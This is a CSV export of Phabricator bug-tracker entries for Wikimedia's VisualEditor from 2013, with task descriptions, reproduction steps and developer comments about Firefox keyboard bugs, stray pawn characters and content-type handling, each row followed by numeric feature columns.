+230701,VisualEditor: Shift-Right deletes characters instead of selecting in Firefox,And /now/ it's fixed. :-),,,1367010986,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-czooq62xjeisscbrllhg,task_subcomment,,True,c1,1,True,,,-10,,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0
+230697,VisualEditor: Shift-Right deletes characters instead of selecting in Firefox,https://gerrit.wikimedia.org/r/61055 (Gerrit Change I1aff295a0958b75697c4d362e0d6095283f37fe8) | change APPROVED and MERGED [by jenkins-bot],,,1367010696,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-czooq62xjeisscbrllhg,task_subcomment,,True,c1,1,False,,,-10,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+230692,VisualEditor: Shift-Right deletes characters instead of selecting in Firefox,"Just for my sanity, marking as unfixed until it's merged.",,,1367010554,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-czooq62xjeisscbrllhg,task_subcomment,,True,c1,1,True,,,-10,,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+230687,VisualEditor: Shift-Right deletes characters instead of selecting in Firefox,Fixed in here: https://gerrit.wikimedia.org/r/#/c/61055/,,,1367004734,,PHID-USER-s7sn3zjthnxvep34c5ho,False,,,PHID-TASK-czooq62xjeisscbrllhg,task_subcomment,,True,c1,1,False,,,-10,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0
+230680,VisualEditor: Shift-Right deletes characters instead of selecting in Firefox,Related URL: https://gerrit.wikimedia.org/r/61055 (Gerrit Change I1aff295a0958b75697c4d362e0d6095283f37fe8),,,1367004696,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-czooq62xjeisscbrllhg,task_subcomment,,True,c1,1,False,,,-10,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+230674,VisualEditor: Shift-Right deletes characters instead of selecting in Firefox,"Confirmed, will work on it.",,,1366997433,,PHID-USER-s7sn3zjthnxvep34c5ho,False,,,PHID-TASK-czooq62xjeisscbrllhg,task_subcomment,,True,c1,1,False,,,-10,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+230666,VisualEditor: Shift-Right deletes characters instead of selecting in Firefox,Confirm that this occurs in Firefox but not in Chrome.,,,1366996702,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-czooq62xjeisscbrllhg,task_subcomment,,True,c1,1,True,,,-10,,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+49710,VisualEditor: Pawn ♙ appears after pressing Down key (first thing) in Firefox,"Steps to reproduce:
+
+1. Open http://en.wikipedia.org/wiki/CMIS
+2. Press Edit
+3. Press your keyboard's Down key
+4. Wild pawn ♙ appears
+
+Also reproduced on http://ja.wikipedia.org/wiki/%E3%83%95%E3%83%AB%E3%83%BC%E3%83%AB%E3%83%BB%E3%83%89%E3%83%BB%E3%82%BB%E3%83%AB
+
+--------------------------
+**Version**: unspecified
+**Severity**: major",High,80.0,1366963320,1367004998.0,PHID-USER-qmcrs2npimuywblubznv,False,,False,PHID-TASK-3whynfwz7dddsiybr7nr,task_description,resolved,True,c1,1,False,False,True,-10,,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,1
+230635,VisualEditor: Pawn ♙ appears after pressing Down key (first thing) in Firefox,Fixed in here: https://gerrit.wikimedia.org/r/#/c/61055/,,,1367004998,,PHID-USER-s7sn3zjthnxvep34c5ho,False,,,PHID-TASK-3whynfwz7dddsiybr7nr,task_subcomment,,True,c1,1,False,,,-10,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0
+230631,VisualEditor: Pawn ♙ appears after pressing Down key (first thing) in Firefox,"Confirmed, will work on it.",,,1366997922,,PHID-USER-s7sn3zjthnxvep34c5ho,False,,,PHID-TASK-3whynfwz7dddsiybr7nr,task_subcomment,,True,c1,1,False,,,-10,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+230628,VisualEditor: Pawn ♙ appears after pressing Down key (first thing) in Firefox,"Reproduced on Firefox 20 on OS X 10.8. 
+
+
+Following error reported in console when pressing down key.
+
+[19:49:36.737] TypeError: this.storeIndexes.slice is not a function @ http://bits.wikimedia.org/ja.wikipedia.org/load.php?debug=false&lang=zh-hans&modules=ext.visualEditor.core%2Cicons-raster%7Cext.visualEditor.viewPageTarget.icons-raster%7Crangy%7Cunicodejs.wordbreak&skin=vector&version=20130426T114825Z&*:48
+
+
+
+Reproduced even when everything is in English:
+
+https://zh.wikipedia.org/w/index.php?title=User:Bencmq-test/2&diff=26351189&oldid=26351184
+
+
+No issue on Chrome or Safari. I took the liberty of marking it as FireFox only.",,,1366978000,,PHID-USER-hoj4lurwi6bejyjy5qlp,False,,,PHID-TASK-3whynfwz7dddsiybr7nr,task_subcomment,,True,c1,1,False,,,-10,,0,1,0,0,1,1,1,0,0,0,1,0,0,1,0,1,1,1,1,1,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,0,0,1,0,1,1,1,0,0,1,1,1,1,1,0,1,0,0,1
+230619,VisualEditor: Pawn ♙ appears after pressing Down key (first thing) in Firefox,"If you keep the Down key pressed, the caret will travel down, dumping a pawn at the end of some paragraphs.
+I am not sure how pawn leaving is decided: For the same paragraph of the same article, sometimes a pawn is dumped and sometimes not.",,,1366967706,,PHID-USER-qmcrs2npimuywblubznv,False,,,PHID-TASK-3whynfwz7dddsiybr7nr,task_subcomment,,True,c1,1,False,,,-10,,1,0,0,1,1,1,1,0,0,1,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0
+49706,VisualEditor: Hard-coded strings in ve.ui.MWLinkTargetInputWidget.prototype.populateMenu,"From user report:
+
+'externalLink', { '$$': menu$$, 'label': 'External link' }
+'newPage', { '$$': menu$$, 'label': 'New page' }
+'matchingPages', { '$$': menu$$, 'label': 'Matching page' }
+
+--------------------------
+**Version**: unspecified
+**Severity**: major",High,80.0,1366955760,1367019435.0,PHID-USER-zjzhrhmn36icnzbckqy4,False,,False,PHID-TASK-fa5biiyjbod7exipkpqs,task_description,resolved,True,c1,1,False,False,True,-10,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0
+230426,VisualEditor: Hard-coded strings in ve.ui.MWLinkTargetInputWidget.prototype.populateMenu,In the end fixed by gerrit 60700 just to be confusing; now merged and will be deployed in the Monday deploy train.,,,1367019435,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-fa5biiyjbod7exipkpqs,task_subcomment,,True,c1,1,True,,,-10,,0,0,0,1,0,1,1,0,0,0,1,0,1,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+230424,VisualEditor: Hard-coded strings in ve.ui.MWLinkTargetInputWidget.prototype.populateMenu,Fixed by gerrit 61035. Thanks for the catch!,,,1366996007,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-fa5biiyjbod7exipkpqs,task_subcomment,,True,c1,1,True,,,-10,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+49687,VisualEditor: Pawn ♙ appears when two paragraphs of different language are next to each other(?),"https://he.wikipedia.org/w/index.php?title=%D7%9E%D7%A9%D7%AA%D7%9E%D7%A9:Matanya/%D7%90%D7%A8%D7%92%D7%96_%D7%97%D7%95%D7%9C_2&diff=14076208&oldid=14076205
+
+https://he.wikipedia.org/w/index.php?title=%D7%9E%D7%A9%D7%AA%D7%9E%D7%A9:Matanya/%D7%90%D7%A8%D7%92%D7%96_%D7%97%D7%95%D7%9C_2&diff=14076218&oldid=14076208
+
+(Others.)
+
+User says they get this when switching he/en and back again.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1366933140,1373221327.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-p24deoao7z7cqo3jfmi7,task_description,declined,True,c1,1,True,False,True,-10,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,1,0,0,1,0,0,0
+228814,VisualEditor: Pawn ♙ appears when two paragraphs of different language are next to each other(?),"I cannot reproduce it any more (Firefox 22, Fedora 18). Marking WORKSFORME, but reopen if it still happens.",,,1373221327,,PHID-USER-xfe43w2lb5gpvglf4coa,True,,,PHID-TASK-p24deoao7z7cqo3jfmi7,task_subcomment,,True,c1,3,False,,,0,,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,1,0,1,0,1,0,1,0,0,0,1,0,0,0,0,1,1,0,0
+228811,VisualEditor: Pawn ♙ appears when two paragraphs of different language are next to each other(?),"Steps to reproduce:
+
+1) open https://he.wikipedia.org/w/index.php?title=%D7%9E%D7%A9%D7%AA%D7%9E%D7%A9:Matanya/%D7%90%D7%A8%D7%92%D7%96_%D7%97%D7%95%D7%9C_2&diff=14076208&oldid=14076205
+
+in VE mode.
+
+2) open a new line and go to the beginning of the line. switch for he to en or vice versa on your keyboard.
+
+3) you have a pawn. 
+
+tested on firefox 21 on ubuntu 13.04",,,1369123443,,PHID-USER-u7udgblfyop6qd5wxot6,True,,,PHID-TASK-p24deoao7z7cqo3jfmi7,task_subcomment,,True,c1,1,False,,,-6,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,1,0,0,0,0,1
+228809,VisualEditor: Pawn ♙ appears when two paragraphs of different language are next to each other(?),Ping to Amir / matanya for steps to reproduce.,,,1369093796,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-p24deoao7z7cqo3jfmi7,task_subcomment,,True,c1,1,True,,,-6,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+228807,VisualEditor: Pawn ♙ appears when two paragraphs of different language are next to each other(?),I still can't reproduce this one. Can I get step-by-step instruction please?,,,1368216144,,PHID-USER-s7sn3zjthnxvep34c5ho,True,,,PHID-TASK-p24deoao7z7cqo3jfmi7,task_subcomment,,True,c1,1,False,,,-8,,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,1,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0,0
+228804,VisualEditor: Pawn ♙ appears when two paragraphs of different language are next to each other(?),"I don't think this is a dupe of bug 41067 - pawns appearing can have lots of causes (all bugs, but not necessarily the same bug).",,,1367274946,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-p24deoao7z7cqo3jfmi7,task_subcomment,,True,c1,1,True,,,-9,,1,0,0,0,1,1,1,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,1,0,1,0,0,0
+228799,VisualEditor: Pawn ♙ appears when two paragraphs of different language are next to each other(?),"
+
+*** This bug has been marked as a duplicate of bug 41067 ***",,,1367254472,,PHID-USER-u7udgblfyop6qd5wxot6,True,,,PHID-TASK-p24deoao7z7cqo3jfmi7,task_subcomment,,True,c1,1,False,,,-9,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+228793,VisualEditor: Pawn ♙ appears when two paragraphs of different language are next to each other(?),"Firefox 20 on ubuntu 13.04 too. 
+
+Didn't see any error in the JS console.",,,1367254368,,PHID-USER-u7udgblfyop6qd5wxot6,True,,,PHID-TASK-p24deoao7z7cqo3jfmi7,task_subcomment,,True,c1,1,False,,,-9,,1,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+228786,VisualEditor: Pawn ♙ appears when two paragraphs of different language are next to each other(?),I saw it in Firefox 20 on Fedora 18.,,,1366969520,,PHID-USER-xfe43w2lb5gpvglf4coa,True,,,PHID-TASK-p24deoao7z7cqo3jfmi7,task_subcomment,,True,c1,1,False,,,-10,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+228780,VisualEditor: Pawn ♙ appears when two paragraphs of different language are next to each other(?),Also - it would be very valuable to know if there are any errors in JS console.,,,1366934353,,PHID-USER-s7sn3zjthnxvep34c5ho,True,,,PHID-TASK-p24deoao7z7cqo3jfmi7,task_subcomment,,True,c1,1,False,,,-10,,1,0,1,0,0,1,1,0,0,1,1,0,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+228774,VisualEditor: Pawn ♙ appears when two paragraphs of different language are next to each other(?),Any information about web browser and OS?,,,1366934083,,PHID-USER-s7sn3zjthnxvep34c5ho,True,,,PHID-TASK-p24deoao7z7cqo3jfmi7,task_subcomment,,True,c1,1,False,,,-10,,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0
+49683,VisualEditor: Warn the user more prominently that they are editing an out-dated version of the page,"EditPage.php has a prominent notice that users are editing an oldid page; VE should have something similar, probably in the ""notices"" functionality.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",High,80.0,1366932300,1369409008.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-hmeryxjc5h5ucj6zkjj7,task_description,resolved,True,c1,1,True,False,True,-10,,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,0,1,0,1,0,0,0
+228589,VisualEditor: Warn the user more prominently that they are editing an out-dated version of the page,Merged and will go out with wmf5 on 27 May.,,,1369409008,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-hmeryxjc5h5ucj6zkjj7,task_subcomment,,True,c1,1,True,,,-6,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+228584,VisualEditor: Warn the user more prominently that they are editing an out-dated version of the page,Related URL: https://gerrit.wikimedia.org/r/65291 (Gerrit Change I216cdd68014173aa65cad42ddd3d870334be9ead),,,1369406998,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-hmeryxjc5h5ucj6zkjj7,task_subcomment,,True,c1,1,False,,,-6,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+228580,VisualEditor: Warn the user more prominently that they are editing an out-dated version of the page,"(In reply to comment #2)
+> EditPage uses msg: editingold[1].
+> 
+> [1] https://www.mediawiki.org/wiki/MediaWiki:Editingold/en
+
+Ah, yes, whoops. Good catch.",,,1369256829,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-hmeryxjc5h5ucj6zkjj7,task_subcomment,,True,c1,1,True,,,-6,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+228574,VisualEditor: Warn the user more prominently that they are editing an out-dated version of the page,"EditPage uses msg: editingold[1].
+
+[1] https://www.mediawiki.org/wiki/MediaWiki:Editingold/en",,,1369244923,,PHID-USER-sai77mtxmpqnm6pycyvz,True,,,PHID-TASK-hmeryxjc5h5ucj6zkjj7,task_subcomment,,True,c1,1,True,,,-6,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1
+228566,VisualEditor: Warn the user more prominently that they are editing an out-dated version of the page,This looks to be <Revision-info>. :-),,,1367275878,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-hmeryxjc5h5ucj6zkjj7,task_subcomment,,True,c1,1,True,,,-9,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1
+49682,"VisualEditor: After saving a page, the VisualEditor tab points at the oldid content not the new one","Edit a page in VE, press save; enter VE again.
+
+What should happen: You edit the newly-updated page.
+
+What does happen: You edit the content of the page before you updated it (and VE doesn't know it's doing this).
+
+--------------------------
+**Version**: unspecified
+**Severity**: minor",High,80.0,1366932180,1367614840.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-25426wyep677h7baqpvx,task_description,resolved,True,c1,1,True,False,True,-10,,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,1,0,0,0,1,1,0,1,0,0,1,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+228531,"VisualEditor: After saving a page, the VisualEditor tab points at the oldid content not the new one",*** Bug 48395 has been marked as a duplicate of this bug. ***,,,1368643696,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-25426wyep677h7baqpvx,task_subcomment,,True,c1,1,True,,,-7,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+228528,"VisualEditor: After saving a page, the VisualEditor tab points at the oldid content not the new one","
+
+*** This bug has been marked as a duplicate of bug 47420 ***",,,1367614840,,PHID-USER-3uecblbxq24ycewm2cog,True,,,PHID-TASK-25426wyep677h7baqpvx,task_subcomment,,True,c1,1,False,,,-9,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+228524,"VisualEditor: After saving a page, the VisualEditor tab points at the oldid content not the new one",*** Bug 48021 has been marked as a duplicate of this bug. ***,,,1367530293,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-25426wyep677h7baqpvx,task_subcomment,,True,c1,1,True,,,-9,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+49456,VisualEditor: VE should not become active on non-wikitext ContentHandler-type,"The VE becomes active on .js and .css pages in the user namespace, even though it is not capable of handling this content type.
+
+--------------------------
+**Version**: unspecified
+**Severity**: minor
+**URL**: https://en.wikipedia.org/wiki/User:TheDJ/common.js",High,80.0,1366469700,1368463148.0,PHID-USER-wrimmmr5w2zt7nk2t753,False,,False,PHID-TASK-mw76lciqtgo7k33dnexw,task_description,resolved,True,c1,1,True,False,True,-11,,0,0,0,0,1,1,1,0,1,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,0,0
+214184,VisualEditor: VE should not become active on non-wikitext ContentHandler-type,*** Bug 48471 has been marked as a duplicate of this bug. ***,,,1368569378,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-mw76lciqtgo7k33dnexw,task_subcomment,,True,c1,1,True,,,-7,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+214179,VisualEditor: VE should not become active on non-wikitext ContentHandler-type,Merged by Catrope.,,,1368463148,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-mw76lciqtgo7k33dnexw,task_subcomment,,True,c1,1,True,,,-7,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0
